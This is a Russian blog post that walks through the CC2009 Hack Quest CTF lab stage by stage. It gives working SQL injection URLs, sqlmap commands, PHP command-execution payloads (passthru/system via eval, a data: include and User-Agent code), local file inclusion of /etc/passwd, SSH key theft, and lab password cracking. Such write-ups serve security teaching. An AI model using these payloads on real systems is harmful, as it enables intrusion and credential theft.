Прохождение CC2009 hack quest

Прохождение CC2009 hack quest
Думаю, пришло время рассказать, как нужно (можно) было проходить этапы конкурса Hack Quest, в частности этапы конкурса, которые выложены на портале securitylab . name='more'> # Задание 1: Windows (Active Directory) IP - 192.168.192.5 1. При сканировании узла с IP-адресом 192.168.192.5 можно понять, что его SMB ресурсы доступны анонимному пользователю. Также, по имеющимся ресурсам и открытым портам легко сообразить, что исследуемый узел выполняет функции контроллера домена. 2. Если используется любой, более менее толковый SMB-сканер, то будет обнаружен каталог backup$ с доступом "read everyone". В каталоге backup$ содержится файл dc.rar, содержащий в себе "system state" контроллера домена. Все остальное, просто fake-мусор. Подсказка о каталоге backup$ также может быть получена в файле: 192.168.192.5sysvolcc.localPolicies{CADC46BC-55B6-440D-9661-18C9435DDA91}UserScriptsLogonmapping.vbs Подсказка доступна для того, кто сумеет получить права "Domain Users". Это возможно, например, успешно авторизовавшись под пользователем test/test или admin/admin. 3. Необходимо поднять полученный "system state" в виртуальной среде. При возникновении проблем, обращаемся по адресу http://support.microsoft.com/kb/263532 . 4. После развертывания "system state" контроллера домена в своей виртуальной среде, необходимо залогиниться на нем с правами "Domain Admins". Существует несколько способов, как это можно сделать. Вот один из них - http://www.nobodix.org/seb/win2003_adminpass.html 5. Далее, с восстановленной копии домена, снимаем хеши с использованием утилиты fgdump . В полученных данных будет содержаться строка "Administrator_history_0:500". Именно хеш из истории используемых паролей администратора нужно брутать, например, по rainbow tables через проект www.plain-text.info . Кроме того, хеш также брутабелен для локального перебора (слово "natalia" содержится в словаре SAMInside ). Пароль: Natalia1234 6. Что делать с восстановленным паролем? Смотрим, какие порты еще открыты на этой машине, ага 80/tcp. А там требуется ввести логин и пароль. Вводим Administrator/Natalia1234 (и не забываем про капчу), авторизуемся. 7. Смотрим на параметр в адресной строке, так ведь это же всеми любимый id:) Подставляем одинарную кавычку и вуаля sql-injection. Эксплуатируется SQL injection следующим образом: http://192.168.192.5/main.asp?id=1+union+select+1,login,pass+from+users 8. Из полученной таблицы users, можно догадаться, что "RDP_user" с "крутым паролем" это пользователь Active Directory, которому разрешен доступ через RDP. Подключаемся через RDP под этим пользователем и на его рабочем столе читаем ключ к игре. # Задание 2: Web IP - 192.168.192.7 1. При сканировании узла с IP-адресом 192.168.192.7 можно заметить открытый порт 80/tcp, на котором висит Web-приложение. 2. Побродив по этому Web-приложению, в разделе новости, можно наткнуться на слепую SQL Injection. Уязвимость легко эксплуатируется с использованием sqlmap в три шага: sqlmap.exe -u http://192.168.192.7/news.php?id_news=4 --current-db sqlmap.exe -u http://192.168.192.7/news.php?id_news=4 --tables -D web sqlmap.exe -u http://192.168.192.7/news.php?id_news=4 --dump web -T admins 3. Проэксплуатировав уязвимость, можно получить хеш администратора CMS. Теперь настало время пробрутать пароль админа. Он гораздо проще, чем login:) Login: mega_admin_cms Password: master Сама же админка CMSки расположена в каталоге /cmsadm/ (намек дан в файле robots.txt). 4. Получив доступ к панели администрирования CMS, в глаза должна броситься уязвимость в функции eval() при манипулировании значениями в переменной GET[f], в тот момент, когда установлена переменная GET[k] (в ссылке раздела "Permissions"). Эксплуатируется уязвимость следующим образом: http://192.168.192.7/cmsadm/interface.php?f=passthru($_GET[shell]);&k=1&shell=ls%20-la 5. Получив возможность выполнения команд на сервере нужно стянуть файлик /etc/passwd. Самая полезная информация в нем это пользователь wwwaadmin, который имеет shell. Теперь понятно, кому можно заходить. Делаем листинг каталога /home/wwwaadmin. Видим в нем каталог .ssh. Далее выдергиваем из него приватный ssh-ключ (id_rsa). 6. Любишь брутфорс:) тогда тебе сюда . Но на самом деле брутфорс не требуется. Можно догадаться, что пароль к приватному ключу master. Загружаем его в puttygen и на выходе получаем файл с расширением ppk. 7. Авторизовавшись к SSH с использованием ключа необходимо оглядеться вокруг. В домашнем каталоге пользователя keyadm содержится файл key, в котором, как ты уже, наверное, успел догадаться, содержится ключ к игре. # Задание 3: Wpsql IP - 192.168.192.9 1. При сканировании того же хоста с IP-адресом 192.168.192.7 можно заметить открытый 8080/tcp порт. Там будет получена информация о том, что некий сервис переехал на машину с IP-адресом 192.168.192.9, а в файле example.pdf содержится информация для подключения к этому сервису немного в иронезированном виде. 2. Подключившись к 192.168.192.9 на порт 53351/tcp и успешно авторизовавшись (AI_Ivanov/12345678) можно наблюдать Web-приложение, в котором прослеживается SQL-инъекция под СУБД postgresql в скрытом параметре формы (POST[privileges]). 3. Эксплуатируя SQL-инъекцию, можно прочитать таблицу users. Примерно так: POST[privileges] =1;select+TABLE_NAME,COLUMN_NAME+from+INFORMATION_SCHEMA.COLUMNS Кстати, "union" режется... POST[privileges] = 1;select+id,key,login,password+from+wp_ss_users 4. В таблице хранятся хеши от паролей немного в нестандартном виде, а именно BASE64(SHA-512). Все пользователи имеют не брутабельные пароли, кроме пользователя keyuser (см. скриншот , он немного выделяется из остальных). Его пароль: enterkey (на ура брутфорсится по словарю PasswordPro ). 5. Авторизовавшись в специальном разделе сайта help_users.php (подсказка есть в разделе помощи) под пользователем keyuser, взору предстанет интерфейс для подачи заявки. После отправки заявки появится сообщение "Thank you for using the service". Смотрим HTML, и о чудо! Путь к нашей заявке: Идем к ней и что мы видим? Имя пользователя Кусок из USER_AGENT<br>Наш_запрос. Попутно втыкаем в листинг директорий и файлик readfile.php, который расположен в каталоге /helpdesk-4259/, и который инклудит текстовые файлы из каталога /tickets/. 6. Наигравшись с подменой USER_AGENT, будет выяснено, что, во-первых, принимаются только первые 10 символов, а во-вторых, вырезаются конструкции вида $_, что не позволяет указать $_GET, например. Задача на самом деле решается просто. Примерно так должна выглядеть строка, подставляемая в USER_AGENT: <?$f($s)?> или даже так <?=@`$s`?> ЗЫ: подсказка о том, что register_globals в состоянии on дается выводом phpinfo() по ссылке http://192.168.192.9:53351/php.php (любой мало-мальски продвинутый сканер web найдет эту ссылку) 7. Так, отлично, командная строка есть, осматриваемся, ага /root/vl_key файл с ключом к игре. # Задание 4: Client Server (clsv) IP - 192.168.192.12 1. Есть ftp-сервер (192.168.192.12), для авторизации к которому проходит test/test. На нем помимо различного fake-мусора, хранится клиентское приложение аля client-server. Приложение требует авторизации. 2. Ковыряя приложение в отладчике, можно узнать следующее: - программа обращается к http:// 192.168.192.12/corpbuild/?available=req&login=вводимый_login - в случае получения ответа FAILED выводится сообщение о том, что пользователя не существует, в противном случае отправляется следующий запрос http:// 192.168.192.12:443/corpbuild09/?login=вводимый_login&password=вводимый_password&rel=9 - аналогично при получении ответа FAILED выводится сообщение о том, что авторизация не пройдена 3. Разобравшись в логике работы программы и потыкав в Web-приложение можно заметить SQL Injection в параметре GET[rel]. SQL Injection на сервере под СУБД MySQL. 4. Уязвимость SQL Injection эксплуатируется тривиальным способом примерно так: http://192.168.192.12:443/corpbuild09/?rel=9+OR+1=1+union+select+user()--&login=1&password=1 http://192.168.192.12:443/corpbuild09/?rel=9+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns--&login=1&password=1 http://192.168.192.12:443/corpbuild09/?rel=9+union+select+concat_ws(0x3a,login,password)+from+usersvls--&login=1&password=1 5. Теперь на руках есть валидные пользователи. Интересует, прежде всего, пользователь с логином rlwadm с намеком на то, что пользователь является администратором. Необходимо расшифровать его SHA1-хеш. Пароль простой: qweasd 6. Авторизовавшись под rlwadm, появится сообщение об ошибке. Смотрим HTML и узнаем про сценарий showfrmvl.php. Обращаемся к нему, и он сам подсказывает, через какую переменную происходит include. 7. Итак, есть include, но null-byte жестко фильтруется и мы не вначале запроса (RFI идет лесом). Используем технику по замене null-byte в php и запрос для инклуда примет следующий вид: http://192.168.192.12:443/corpbuild09/showfrmvl.php?inc=/../../../../../../etc/passwd/././. и т.д. /. А в /etc/passwd содержится подсказка по месту дислокации ключа: 7. Эксплуатируя таким образом уязвимость LFI, забираем ключ из корневого каталога /clientkey. # Задание 5: CrackMe В версии Hack Quest, представленном на CC09, crackme среднего уровня сложности хранился на NFS-сервере, а в версии, выложенной на securitylab, две версии crackme (сложный и средний) расположены на SMB ресурсе сервера 192.168.192.5. Обе версии crackme это dos-приложения. Рассмотрим метод статического анализа для CRACKME_med. В качестве средства анализа используем IDA Pro (5.0, хотя версия не принципиальна). 1. Рассмотрим код около точки старта Несложный анализ позволяет определить назначение первых функций (во многом, благодаря подсказкам IDA)- это printf, getch и putch. Первый цикл обеспечивает нам вывод приглашения "login:" и ввод текста с отображением его на экране. 2. Цикл обработки ввода Введенный логин просто в цикле "сворачивается" в один байт с помощью XOR. А в финале еще и выполняется AND 10h. Следовательно, от всего логина нас интересует только один бит, что упрощает подбор до односимвольного логина. Хотя, конечно же, можно подобрать и красивый, "говорящий" логин, который будет выставлять указанный бит в нужное значение. 3. Ввод пароля Следующий блок аналогичен вводу логина. Но есть особенность. Во-первых, видно, что вводимые символы не отображаются на экране. Во-вторых, вводится не больше символов, чем позволяет счетчик, полученный из преобразования логина. Отсюда можно сделать вывод, что значимый бит в "свернутом" логине должен, скорее всего, быть установлен. 4. Обработка введенного пароля Анализ данного фрагмента подводит нас к самой интересной части. Введенный пароль тоже "сворачивается" в один байт с помощью XOR. А полученное значение используется для раскодирования какого-то фрагмента памяти. Раскодированный же фрагмент передаётся в довольно запутанную функцию вместе с ещё одним блоком "мусора" и числом, полученным в ходе операций над логином. Результат выполнения этой функции выводится на экран стандартным printf. Для облегчения работы можно воспользоваться внешней утилитой (готовой или самодельной), и посмотреть, что же получается с закодированным фрагментом при разных значениях аргумента для XOR. Несложный брутфорс дает нам значение, которое выглядит вполне похожим на правду. Остается только подобрать несколько символов, которые, будучи, "свернуты" XORом дадут нам искомый байт, и получить на экране вместо мусора осмысленный текст, а вместо закодированного фрагмента строку "Password: CC09X0JsYW5rCC09". Задание выполнено, ключ получен. И замечательный реверсинг сложного crackme, был продемонстрирован 73ru5 . Разреверсенный код оказался гораздо компактнее оригинала (см. комменты ). С небольшой подсказкой, 73ru5 сумел пробрутать ключ к игре. # Задание 6: Hard Level Web (hlw) IP - 192.168.192.15 1. Сканируя хост с IP-адресом 192.168.192.15 можно заметить висящий web-сервер на порту 80/tcp. 2. Изучение этого хоста должно показать наличие двух каталогов tests, требующего BASIC-авторизации и logs, в котором хранятся старые лог файлы apache. 3. Вытащив из лог-файла access.log всех пользователей, которые успешно проходили basic-авторизацию к каталогу tests, можно попробовать побрутать удаленно пароли для них. Для всех пользователей, кроме admin и root, пароли брутабельны, вот эти пользователи: devteev:positive aabramov:positive toxa:dsec testuser2:testuser12345 cons_ffff:77777777 view_old:qwert terminal-q:7654321 adm-kk:zxcvbnm 4. Уязвимость SQL-injection эксплуатируется не тривиальным способом, а с использованием null-byte (кстати, в том же каталоге содержится index.bak, из которого можно понять логику работы скрипта). Экплуатировать уязвимость нужно вот так: http://192.168.192.15/tests/?Submit=Test&pr=2/**/+limit+0+union+select+1,user(),3,4,5 Конечно, в данном случае пользователь не совсем root, однако, права file_priv у него есть. 5. Гуляя по серверу, можно в каталоге /root прочитать .bash_history в котором содержится строка: env HTTP_AUTH="basic:/:r00t:iGldwvvx8wVs1eDh23lvs" fetch -o key http://192.168.192.12:28011/getkey_hlw.php?file=ellite-hacker-key-this Однако получить ключ со своего IP к ключу не получится. Скрипт упорно будет требовать, чтобы запрос пришел с IP 192.168.192.15. 6. Решением должно стать следующее. В каталоге /tests/ содержится сценарий reads_vh1.php. Узнать о его существовании можно так: http://192.168.192.15/tests/?Submit=Test&pr=2/**/+limit+0+union+select+1,load_file('/usr/local/www/data/tests/'),3,4,5 При обращении к сценарию будет понятен синтаксис, который необходимо использовать для инклуда. 7. Ковыряясь с файлом /tests/reads_vh1.php, существует только один способ эксплуатации уязвимости это новый способ выполнения команд через include(): http://192.168.192.15/tests/reads_vh1.php?file=data:,<?system($_GET[cmd])?>&cmd=ls Теперь все предельно ясно. Запрос для получения ключа: http://192.168.192.15/tests/reads_vh1.php?file=data:,<?system($_GET[cmd])?>&cmd=env HTTP_AUTH="basic:/:r00t:iGldwvvx8wVs1eDh23lvs" fetch -o /tmp/key http://192.168.192.12:28011/getkey_hlw.php?file=ellite-hacker-key-this # Бонусные ключи Первый бонусный ключ хранится в базе postgresql на сервере 192.168.192.9. Запрос для его получения: POST[privileges]=1;select+id,key+from+wp_ss_keys Второй бонусный ключ храниться в скрипте http://192.168.192.15/tests/index.php. Его можно получить, прочитав файл либо пройдя Basic-авторизацию под одним из логинов devteev, aabramov или toxa. В поисках [пасхальных яицk 1. http://192.168.192.5/main.asp?id=3 2. 192.168.192.5sysvolcc.localPolicies{CADC46BC-55B6-440D-9661-18C9435DDA91}MachineScriptsStartupwks.vbe 3. http://192.168.192.7/partners.html 4. http://192.168.192.7:3128/ 5. http://192.168.192.7/test.txt 6. http://192.168.192.7/images/ 7. http://192.168.192.7/cmsadm/config.inc 8. http://192.168.192.7/cmsadm/test.dbf 9. http://192.168.192.7:8080/access_log 10. http://192.168.192.7:8080/info.php 11. http://192.168.192.7/default/ 12. cookie на 192.168.192.9 13. http://192.168.192.9:53351/phpinfo.php 14. http://192.168.192.9:53351/readme.txt 15. http://192.168.192.9:53351/version.txt 16. http://192.168.192.9:53351/sources/ 17. http://192.168.192.9:53351/images/ 18. http://192.168.192.9:12345/ 19. http://192.168.192.9:23/ 20. http://192.168.192.12/ 21. http://192.168.192.12/admin.php 22. http://192.168.192.12/admins.txt 23. http://192.168.192.12/hits.htm 24. http://192.168.192.12/pass.txt 25. http://192.168.192.12/passwords.txt 26. http://192.168.192.12/pwd.txt 27. http://192.168.192.12/serverinfo.htm 28. http://192.168.192.12/users.txt 29. http://192.168.192.12/corpbuild/.passwd 30. http://192.168.192.12/corpbuild/log.txt 31. http://192.168.192.12/corpbuild/password 32. http://192.168.192.12/corpbuild/users.dat 33. http://192.168.192.12:443/stats.html 34. http://192.168.192.15:443/log.htm 35. http://192.168.192.15/test/ авторизовавшись под одним из трех пользователей (devteev,aabramov,toxa) И [мега бонусk:-) Все ключи содержатся в формате CC09BASE64(WORD)CC09 Для конкурса использовались следующие ключи: Night Online _Blank Link Interrupt File Error !undo Если расположить их в правильном порядке, то получится заветное слово "NO_LIFE!". Вместо заключения Как и обещал, поделюсь некоторыми деталями и курьезами, произошедшими на hack quest CC09. В первую очередь, хочется отметить предприимчивость нашего главного победителя, скрывающегося под псевдонимом "r0b". Он обменял у команды античата алгоритм ввода ключей, взамен на вектор атаки по одному из этапов конкурса. "r0b" проявил себя и во второй раз, когда сумел пробрутать ключ к игре:) слово "Error" в интерфейсе ввода ключей. Также стоит отметить забавную ситуацию, произошедшую с SUN-овскими конкурсами. Участники хак-квеста, вечером первого дня, заметили неправильно выставленный acl на файл .mysql_history, который содержал ключ к игре. Нет, участники не удалили этот файл. Они поступили гораздо изобретательней, подменили правильный ключ на неверный, что не сразу было замечено;) В целом, хак-квест проходил на позитивной волне. И по его результатам у меня появилось много мыслей по организации более интересных и увлекательных хак-квестов. И, безусловно, без тех проблем с железом, которые возникли на CC. Возможно, некоторые идеи воплотятся в жизнь уже в следующем году на конференции РусКрипто2010 . До скорых встреч на подобных мероприятиях!
мероприятия HackQuest positive technologies security
Alt text

Ваш провайдер знает о вас больше, чем ваша девушка?

Присоединяйтесь и узнайте, как это остановить!